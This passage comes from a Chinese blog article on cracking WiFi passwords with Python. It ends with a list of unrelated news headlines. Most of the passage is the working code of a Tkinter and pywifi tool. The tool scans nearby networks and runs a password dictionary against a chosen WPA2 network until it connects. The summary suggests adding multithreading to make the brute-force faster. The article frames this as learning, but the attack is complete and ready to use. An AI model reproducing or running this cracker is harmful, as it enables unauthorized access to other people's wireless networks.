", self.onDBClick)self.vbar.grid(row=4, column=1, sticky=NS)# 搜索wifidef scans_wifi_list(self):# 扫描周围wifi列表# 开始扫描print("^_^ 开始扫描附近wifi...")self.iface.scan()time.sleep(15)# 在若干秒后获取扫描结果scanres = self.iface.scan_results()# 统计附近被发现的热点数量nums = len(scanres)print("数量: %s" % (nums))# 实际数据self.show_scans_wifi_list(scanres)return scanres# 显示wifi列表def show_scans_wifi_list(self, scans_res):for index, wifi_info in enumerate(scans_res):self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))# 添加密码文件目录def add_mm_file(self):self.filename = tkinter.filedialog.askopenfilename()self.get_value.set(self.filename)# Treeview绑定事件def onDBClick(self, event):self.sels = event.widget.selection()self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])# 读取密码字典,进行匹配def readPassWord(self):self.getFilePath = self.get_value.get()self.get_wifissid = self.get_wifi_value.get()pwdfilehander = open(self.getFilePath, "r", errors="ignore")while True:try:self.pwdStr = pwdfilehander.readline()if not self.pwdStr:breakself.bool1 = self.connect(self.pwdStr, self.get_wifissid)if self.bool1:self.res = "[*] 密码正确!wifi名:%s,匹配密码:%s " % (self.get_wifissid, self.pwdStr)self.get_wifimm_value.set(self.pwdStr)tkinter.messagebox.showinfo('提示', '破解成功!!!')print(self.res)breakelse:self.res = "[*] 密码错误!wifi名:%s,匹配密码:%s" % (self.get_wifissid, self.pwdStr)print(self.res)time.sleep(3)except:continue# 对wifi和密码进行匹配def connect(self, pwd_Str, wifi_ssid):# 创建wifi链接文件self.profile = pywifi.Profile()self.profile.ssid = wifi_ssid# wifi名称self.profile.auth = const.AUTH_ALG_OPEN# 网卡的开放self.profile.akm.append(const.AKM_TYPE_WPA2PSK)# wifi加密算法self.profile.cipher = const.CIPHER_TYPE_CCMP# 加密单元self.profile.key = pwd_Str# 密码self.iface.remove_all_network_profiles()# 删除所有的wifi文件self.tmp_profile = self.iface.add_network_profile(self.profile)# 设定新的链接文件self.iface.connect(self.tmp_profile)# 链接time.sleep(5)if self.iface.status() == const.IFACE_CONNECTED:# 判断是否连接上isOK = Trueelse:isOK = Falseself.iface.disconnect()# 断开time.sleep(1)# 检查断开状态assert self.iface.status() in[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]return isOKdef gui_start():init_window = Tk()ui = MY_GUI(init_window)print(ui)ui.set_init_window()init_window.mainloop()if __name__ == "__main__":gui_start()
脚本运行效果如下:

文章插图
以上基于 Python 的 GUI 图形界面开发库 Tkinter,实际上 Python 的 GUI 编程可以借助 PyQt5 来自动生成 UI 代码,相关教程可参见:PyQt5设计GUI(一)pycharm中配置pyqt5 。
总结
本文学习了 Python 暴力破解 WIFI 密码的方法、以及 Python GUI 图形化编程的基础使用 。
所演示的代码的不足在于均没有使用多线程进行 WIFI 连接测试,实际上因为 WIFI 连接测试需要一定的耗时(3-5秒),故使用多线程将能减少暴力破解过程的等待时间 。
【用Python破解WiFi密码,太刺激了】
推荐阅读
-
-
朱之文|大衣哥首次带儿媳外出商演,陈亚男全程紧挽公公胳膊,心情大好
-
超美时尚屋|沙漠大干皮的一整套护肤攻略!月入3000也用得起,精简却高效!
-
[病例]南非宣布实施全国“封城”措施 确诊病例超过400例
-
如果制药公司将药价抬到普通家庭承受不起,还能说是造福人类吗
-
穿搭|周雨彤真是长不大的孩子,穿一身孩子的T恤配玩偶包,真是有童心
-
「美方」美政府归还华为扣留货物,外交部:从事实上承认其行为违
-
第一舆情社:不是普通的配角,而是洪金宝的亲奶奶,周星驰身边的这位老奶奶
-
快递转寄是什么意思.快递已经寄出,转快递要怎么转?
-
-
朱梓骁|曾被郭敬明力捧,因“肛裂”遭非议,现转型网红直播卖货境况惨淡
-
-
南方有温煖的巢牀|老师却劝家长别索赔:负面影响太多,女儿万元书包在幼儿园被扯坏
-
心情点滴|第一个就服了!赶紧来长知识~,33个会说不会写的汉字
-
一车汇|宝骏530全球化,是不是“高级”多了,不到10万元七座SUV
-
鲜闻快讯郭麒麟零付出似贵客!,差距这么大?彭昱畅全程劈柴刷碗
-
旅游热观察 预计50年后复活,能成功吗?,中国首例女冰冻人
-
新建京沪高铁二线:照顾山东江苏,不经过徐州和南京,城市都不大
-
第一款游戏本|Redmi G游戏本海报曝出:高色域大屏+电竞级高刷
-
[种植]亩产2000斤,播种30天就收获,1年能种植3季,敢种植的农民不多